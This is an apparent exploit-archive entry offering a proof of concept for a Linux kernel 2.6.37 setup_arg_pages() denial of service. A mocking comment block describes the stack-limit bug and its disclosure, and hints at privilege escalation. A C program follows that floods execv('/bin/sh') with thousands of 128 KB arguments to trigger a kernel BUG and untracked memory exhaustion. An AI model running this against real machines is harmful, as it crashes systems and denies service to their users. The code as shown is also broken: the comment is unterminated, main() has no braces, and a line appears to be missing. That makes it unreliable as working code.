Linux Kernel 2.6.37 - 'setup_arg_pages()' Denial of Service







// source:
/* known for over a year, fixed in grsec
   bug is due to a bad limit on the max size of the stack for 32bit apps
   on a 64bit OS.   Instead of them being limited to 1/4th of a 32bit 
   address space, they're limited to 1/4th of a 64bit address space -- oops!
   in combination with vanilla ASLR, it triggers a BUG() as the stack 
   tries to expand around the address space when shifted
   Below mmap_min_addr you say? uh oh! ;)

   Reported to Ted Tso in December 2009
   Linus today (Aug 13 2010) silently fixes tangential issue:;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893

   The second bug here is that the memory usage explodes within the 
   kernel from a single 128k allocation in userland
   The explosion of memory isn't accounted for by any task so it won't
   be terminated by the OOM killer

   curious what actual vuln was involved that they were trying
   to silently fix, as I don't think it's the one below
   clobbering data in a suid app by growing the stack into the mapping
   for the image? ;)  I smell privesc...mumblings of X server/recursion

   ulimit -s unlimited

   SELinux is here to save us though with its fine-grained controls!
   Wait, it doesn't?
   Clearly the solution is to throw a buggy KVM on top of it
   Not enough?  Ok, we'll throw in an extra SELinux, that'll really 
   throw those hackers off when they use the same exact exploit on the 
   host as they do on the guest!

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550

int main(void)
        char **args;
        char *str;
        int i;

	/* not needed, just makes it easier for machines with less RAM */

        str = malloc(128 * 1024);
        memset(str, 'A', 128 * 1024 - 1);
        str[128 * 1024 - 1] = '\0';
        args = malloc(NUM_ARGS * sizeof(char *));
        for (i = 0; i < (NUM_ARGS - 1); i++)
                args[i] = str;
        args[i] = NULL;

        execv("/bin/sh", args);
        printf("execve failed\n");

        return 0;